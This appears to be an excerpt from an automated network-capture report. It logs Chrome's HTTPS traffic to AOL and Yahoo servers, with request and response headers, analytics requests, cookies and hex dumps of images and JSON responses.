2024-05-23 22:34:46 UTC	791	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:46 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept x-cached-cookies: weathergeo Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Vary: Accept-Encoding Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:46 UTC	80	IN	Data Raw: 34 35 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 7d 2c 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 69 73 41 63 63 75 57 65 61 74 68 65 72 22 3a 66 61 6c 73 65 7d 7d 2c 22 68 74 6d 6c 22 3a 22 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 45{"data":{"metadata":{},"response":{"isAccuWeather":false}},"html":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49846	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	363	OUT	GET /cv/apiv2/adbuilder/gemini.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: OdWDsbPOGJtI8+iSm/dkCai7eM8fyPqYWJQgXU1iS6SGAJhE0bJc783gbHMtKVWIa5Dfdo5lG8M= x-amz-request-id: 1TEPG4KMRQR0N6PS Date: Wed, 01 May 2024 09:10:05 GMT Last-Modified: Sat, 02 Mar 2019 01:45:46 GMT ETag: "99f89d94ebcff9a04ef4c4174c7bc13a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=2592000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 3328 Referrer-Policy: no-referrer-when-downgrade Age: 1949082 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 0c ba 49 44 41 54 78 01 ed 9d 0f 6c 55 57 1d c7 e9 2b b4 05 14 0a 71 09 a9 53 08 82 1b 93 b1 c1 60 65 73 42 eb d4 0d 88 d9 82 06 17 21 40 5b 68 67 dc a6 4e 63 30 73 6e 09 c3 69 44 e7 8c 9a 94 42 91 02 71 41 83 31 0a 1b e2 06 85 39 fe 0d 37 e6 74 8c ff 42 05 06 5b 0b 6c 5d ff 40 1f 7e 7e b5 ef ed be c7 bb f7 dc 73 df 79 f7 4f e5 24 b7 f7 de 73 7e e7 f7 e7 fb 3b ff cf b9 af 79 7d 22 18 6a 6b 6b af 47 ed 25 79 79 79 93 2f 5f be dc c9 73 23 d7 f7 6a 6a 6a 4e 45 cd 9c bc a8 29 5c 57 57 f7 99 78 3c be 09 bd fb 5b 75 c7 19 cd b1 58 ac 74 c1 82 05 87 ac f1 61 7f 8e 85 5d 41 ab 7e eb d6 ad cb a7 c4 d7 13 97 02 be d0 10 3f Data Ascii: PNGIHDR``w8sRGBIDATxlUW+qS`esB!@[hgNc0sniDBqA197tB[l]@~~syO$s~;y}"jkkG%yyy/_s#jjjNE)\WWx<[uXta]A~?
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: d6 a9 6a 19 fd b4 e9 e8 65 9a d6 37 07 a0 b8 ea 68 79 b7 6d 00 fe 1a 27 0c 38 5f 55 95 93 55 54 d3 00 66 cb cf 37 07 00 6c 09 25 4f a5 ef 11 16 b8 6e cf 66 75 51 25 20 6c e9 be f5 01 80 3f 50 65 3c 4e fa ce ff 13 f8 82 87 6f 0e 50 81 2f e9 85 85 85 db dc d0 f5 26 9a 30 39 20 ce c6 4a a0 1d 62 10 8e 0d 93 03 44 97 09 41 80 10 a4 4c df 1c 40 fb ae 5c ec 82 66 31 7d 45 20 0b 84 41 39 c1 37 07 60 a0 f2 2b 76 c0 2f 63 e7 a9 5e 76 be 82 02 c4 6f b9 c9 61 28 5b 8a fd 18 7f 8f 05 84 4f a1 44 bf 84 22 2c 54 c5 29 99 07 d9 ea 7b 25 9b 49 0b 3c 8e c1 3b c1 d6 f6 0e cd 7c 26 6d 33 d0 67 3b 79 64 22 e6 b8 b9 92 81 91 9c 4e 7b 1b b5 cf 90 77 5f 10 1b 2e b2 c9 74 f2 e4 c9 9b b0 45 e6 3e c9 0d 24 de 2f f1 be 1f 2c f7 25 96 bf bb ab 3b a5 4e 7e 73 61 15 97 ed 37 b6 18 73 Data Ascii: je7hym'8_UUTf7l%OnfuQ% l?Pe<NoP/&09 JbDAL@\f1}E A97`+v/c^voa([OD",T){%I<;\|&m3g;yd"N{w_.tE>$/,%;N~sa7s
2024-05-23 22:34:46 UTC	728	IN	Data Raw: 99 77 d1 b9 36 9a 90 93 e0 c1 ef 54 7f 8c 5a b7 1a 79 53 13 71 72 47 d6 33 d8 f7 35 ec 3b 67 8d d7 7d ce 6a 14 b4 66 cd 1a 29 ed b2 97 2a 1b e0 49 f0 45 09 de 27 b1 27 bb 5e 16 dd e4 dd 54 60 e2 b4 95 12 78 0b 00 6c 84 67 0b f7 66 ee 1b b8 df 62 1a 7c 6c 88 01 fe 6f d3 c1 17 5b 88 bb 8f 0d f7 2d 14 c0 8f c8 bb d7 90 02 9a 0e 93 b5 6b d7 0e 61 e5 51 4a a2 fc 8a 94 6d 00 98 39 00 b3 d6 96 20 c4 09 9c 9c bb 9b 53 16 cf 2a 54 94 26 ef 73 f4 3b 9e 56 54 3d d5 00 14 1b 0a f8 5b 55 e0 f7 28 7e b3 c2 80 d0 26 d3 a7 c9 f1 16 55 b8 81 42 b6 6d d5 aa 55 9e 66 fa 9e 1c 40 a9 a8 03 fc 71 2a cd 7a d2 3d 95 0c 97 bc 73 4a 86 8d 32 9c 55 06 e8 46 f1 81 a1 f4 13 da 2d 8a b6 03 64 b4 83 46 f2 73 95 ca 40 c9 e8 44 29 69 ab 23 19 e8 6b 9e 47 f1 f7 5c 2a 5f 4e cb 50 ee 92 36 Data Ascii: w6TZySqrG35;g}jf)IE''^T`xlgfb\|lo[-kaQJm9 ST&s;VT=[U(~&UBmUf@qz=sJ2UF-dFs@D)i#kG\_NP6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49844	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684933&yhlClientVer=3.56.0&yhlRnd=DzO4Tlo7spIWKNqu&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2337 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	2337	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 0 date: Thu, 23 May 2024 22:34:46 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIbET2YCEDlfi12BkzCsaNuqwcSFNPgFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAmqwEQZR_lhwu6quBRGkFB8; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49843	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684940&yhlClientVer=3.56.0&yhlRnd=YaEfFsGjyFmAKu4m&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2685 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	2685	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:46 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIbET2YCEAPxAcBOS-zSC29OGv38wHwFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAo3q3Uk6tQx3Py43pbaXtgs; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49849	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	819	OUT	GET /nex/modules/news/v1/?m_mode=json&isXHR=true HTTP/1.1 Host: www.aol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
2024-05-23 22:34:46 UTC	791	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:46 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept x-cached-cookies: weathergeo Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Vary: Accept-Encoding Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:46 UTC	58	IN	Data Raw: 32 66 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 61 72 74 69 63 6c 65 73 22 3a 5b 5d 7d 7d 2c 22 68 74 6d 6c 22 3a 22 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f{"data":{"response":{"articles":[]}},"html":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49845	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	382	OUT	GET /dv/static/siteApp/img/privacy-choice-control.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	747	IN	HTTP/1.1 200 OK x-amz-id-2: QieVo3NIug79RJ0wqAWaoI4nNdZhQcaRTM9xwK0X46S0rQaXADjdc9ghy6djQhcrnNJpng8u7NI= x-amz-request-id: PRK0A79MC755X0F9 Date: Thu, 23 May 2024 07:30:34 GMT Last-Modified: Thu, 17 Nov 2022 01:21:46 GMT ETag: "08e7e42d20a324381d05381b43bd496c" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 7324 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54254 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a2 00 00 00 52 08 06 00 00 00 d7 60 0f 02 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 04 f4 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 65 64 61 32 62 33 66 61 63 2c 20 32 30 32 31 2f 31 31 2f 31 37 2d 31 37 3a 32 33 3a 31 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 Data Ascii: PNGIHDRR`pHYs%%IR$iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e cf e9 a3 bb 00 00 17 4e 49 44 41 54 78 9c ed 9d 79 7c 54 e5 b9 c7 bf e7 9c 99 6c 33 93 84 6c 04 b2 12 f6 35 a0 48 ed d5 5a ab 9f aa 95 ba 5e 2a ea 6d 6f 17 6b ad 75 6b 6f dd 17 14 05 04 6a b5 ad 7a 6d 5d ae b7 b6 2e 88 4b af 16 ac 6c a2 2c 2a 8b 20 90 40 16 96 00 01 12 96 90 64 26 cb cc 59 ee 1f 6f 26 c9 4c 26 99 33 99 99 6c e4 fb f9 44 c3 39 ef 39 e7 9d 33 bf bc ef fb 3c ef f3 bc af 64 18 06 83 0c d2 db c8 bd 5d 81 41 06 01 b0 00 4c bd b5 ae b7 eb 91 04 8c 07 d2 81 64 20 0d 48 05 6c 80 04 0c 36 db e1 a3 00 4d 40 1d 70 1c 38 05 9c 06 f6 03 e5 bd 57 2d d8 fe 42 a2 10 62 2f 31 02 b8 04 98 00 9c 05 4c 44 08 72 b0 95 ee 39 9a 81 4a 60 33 50 0a 6c 00 3e 03 1a 7b ba 22 3d Data Ascii: x:xmpmeta> <?xpacket end="r"?>NIDATxy\|Tl3l5HZ^mokukojzm].Kl, @d&Yo&L&3lD993<d]ALd Hl6M@p8W-Bb/1LDr9J`3Pl>{"=
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: c2 9d cf bb 78 6f 83 87 91 c3 e5 48 5b fb c3 80 ff 42 c4 ab fa d0 99 10 7f 09 e4 b4 3f 20 49 a2 f9 1e 93 ad 30 e7 87 f1 11 ad 5d 6f 71 f8 84 ce 75 f3 5d 7c 5e ac 62 51 24 54 cd e0 86 0b 63 f8 db 7d e1 bb a1 b6 95 ab d8 e2 cc bb 6d 0e 1d d7 b9 74 ba 95 57 ef f6 0d 62 9a 94 a7 b0 7a b1 83 8b ee ad 67 cf 21 9d 71 11 10 a3 d5 02 25 87 75 b2 d3 65 fe f9 84 9d 61 29 6d 4d 9f 23 1e 5e bd db 46 43 b3 8b 35 db 3d 64 a7 85 36 b4 30 c1 1d 08 03 b8 a9 fd c1 ce 5e f7 2f fd 0f 48 40 75 8d ce ed 57 c6 92 e2 e8 ff c3 ef c6 66 b8 7a ae 93 2d a5 2a d3 46 29 4c 1e 21 33 a5 40 e1 cd e5 cd 3c f4 6a 78 49 6c 55 a7 0d b6 ed d5 4c bf 27 dd 10 61 72 3f ba 38 26 e0 f9 a1 43 24 56 2f 76 90 9b 2e b3 e7 90 1e 56 37 6d b5 08 43 33 2b 45 66 d5 22 5f 11 b6 e7 c6 8b 62 d0 74 d0 22 ef ff Data Ascii: xoH[B? I0]oqu]\|^bQ$Tc}mtWbzg!q%uea)mM#^FC5=d60^/H@uWfz-*F)L!3@<jxIlUL'ar?8&C$V/v.V7mC3+Ef"_bt"
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: b4 d1 62 3e bc 17 a2 c8 e3 10 f3 cf ad 42 4c 43 ac d6 ea 83 b3 d1 60 44 a6 dc a5 07 be 2f 32 ef 8d 26 5e 5c de cc e4 11 1d 03 0e ac 16 28 3d ac 53 38 42 61 c9 43 41 97 e8 31 4d 45 b5 ce 9e 83 5a 58 16 b7 3f 5e 83 a1 b0 40 e1 3d 93 62 1c 93 2d 33 2e 27 78 93 7c c3 82 96 96 b0 e5 1d f5 62 26 c3 50 68 13 62 0a 30 c4 bf 84 47 25 2c c7 6e 6f f0 bf 2b dc 3c fa 5a 23 e3 72 94 0e 09 ed de 74 d7 d4 44 89 77 e7 d8 23 ea 17 fd a2 58 6d 75 01 45 12 6f 4b e5 1d 33 9a 11 63 30 ae 5f e0 62 c9 a7 6e a6 8e ec 95 ee d8 9f 44 68 13 e2 70 5a 94 d9 1e 4d 07 5b 14 9c d8 6f ad 75 73 c5 1c 27 17 de 53 cf 6f 5f 6c e4 e8 a9 c8 bc 89 95 5f 79 f8 d5 73 0d e4 0f 95 49 88 f5 5d d6 4e 51 a0 aa c6 40 d3 60 e9 c3 36 72 33 22 db ca 6f 29 13 fd 7f 34 fe 6c 5b c7 8c 23 84 18 cd 8c 19 3b e3 Data Ascii: b>BLC`D/2&^\(=S8BaCA1MEZX?^@=b-3.'x\|b&Phb0G%,no+<Z#rtDw#XmuEoK3c0_bnDhpZM[ous'So_l_ysI]NQ@`6r3"o)4l[#;
2024-05-23 22:34:46 UTC	1300	IN	Data Raw: 9a f3 7a 26 9a 7c fb 5e 8d a3 a7 f4 88 8f 0f 85 a1 a5 33 3e 57 e6 e3 85 76 e2 4d 24 4e 5e 31 c7 c9 f2 4d 1e 0a 0b 14 0a 0b 14 56 6f 33 27 c6 24 9b 30 60 26 f6 8e 18 d7 23 7a 63 1f 21 ee 23 c0 ba c7 49 09 12 7b 8f e8 d4 37 44 c7 37 91 e2 90 58 f6 b8 c8 2a 2b 3d 1c a0 9b 56 21 3f 43 e6 60 95 4e 45 95 4e 4e 9a d4 c1 57 08 50 74 40 e3 de eb e2 b8 fd ca 9e 4b 77 dd 50 a4 e2 d1 8c 88 1a 43 de 96 70 6c 8e cc 9a 45 0e 92 4d 38 c9 af 98 e3 e4 a3 cd 42 84 ba 26 7c bf 53 0a 14 56 6d f3 70 cd 63 ce a0 d7 7b c5 38 29 5f a1 f8 60 8f 8a b1 c8 fb 8b ff 10 7b b3 7f c9 c4 04 89 d2 4a 8d f5 45 11 5a eb 22 00 39 19 22 9c 3d 23 59 a6 ac 13 6b 7a 88 43 4c dd 05 f2 15 ee dc af 71 c3 45 31 2c 0c c1 c1 1b 09 be de ab 31 c4 1e b9 65 39 ac 8a 68 09 c7 79 45 68 66 4c 38 df c5 b2 2f Data Ascii: z&\|^3>WvM$N^1MVo3'$0`&#zc!#I{7D7X*+=V!?C`NENNWPt@KwPCplEM8B&\|SVmpc{8)_`{JEZ"9"=#YkzCLqE1,1e9hyEhfL8/
2024-05-23 22:34:46 UTC	824	IN	Data Raw: a4 c6 d9 c7 32 71 a2 44 a3 db e0 eb 7d 1a a9 89 d1 cb d6 1b a0 1c 00 7e dd 55 01 33 fd cb 7f 23 8c 17 1f 3c 9a 08 d3 2a a9 d4 b8 fa 31 67 b4 d6 5a ee 53 ec dc af 51 56 a9 99 5a 67 70 10 1f 6e 06 ba 9c 0d 31 3b d0 f9 05 01 52 09 3c 2a 4c cc 53 d8 54 a2 f1 9d 7b ea a9 75 0d ec 76 62 7d 91 d8 f2 36 5a d1 d8 03 94 f9 c0 aa 60 85 cc be d2 93 c0 75 81 4e a8 1a 4c cc 93 f9 aa 5c 63 c6 9d f5 ec 39 34 70 9b c6 6d e5 1a 71 31 83 dd 72 08 ac 04 1e 36 53 30 94 bf ed 35 c0 0f 02 9d 50 35 98 90 2b 73 b2 4e e7 9b 77 d5 f3 e2 f2 e8 cf 49 f7 34 87 4f e8 6c 2d 8d 4e 34 f6 00 65 0b 70 99 d9 c2 a1 76 32 ef 00 3f 0e 74 c2 a3 89 99 97 d4 44 89 5b fe e0 e2 8a 39 4e 0e 04 48 7c ea af 6c 2d d3 42 da 3b e5 0c a7 08 f8 16 60 5a 00 dd 19 ed bc 46 27 62 54 35 91 07 31 6d b4 c2 a7 3b Data Ascii: 2qD}~U3#<1gZSQVZgpn1;R<LST{uvb}6Z`uNL\c94pmq1r6S05P5+sNwI4Ol-N4epv2?tD[9NH\|l-B;`ZF'bT51m;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49848	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	580	OUT	GET /images/dims?format=jpg&quality=80&thumbnail=32%2C32&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=3aa198e79469e4081181851b7817f9aefe8b4866 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
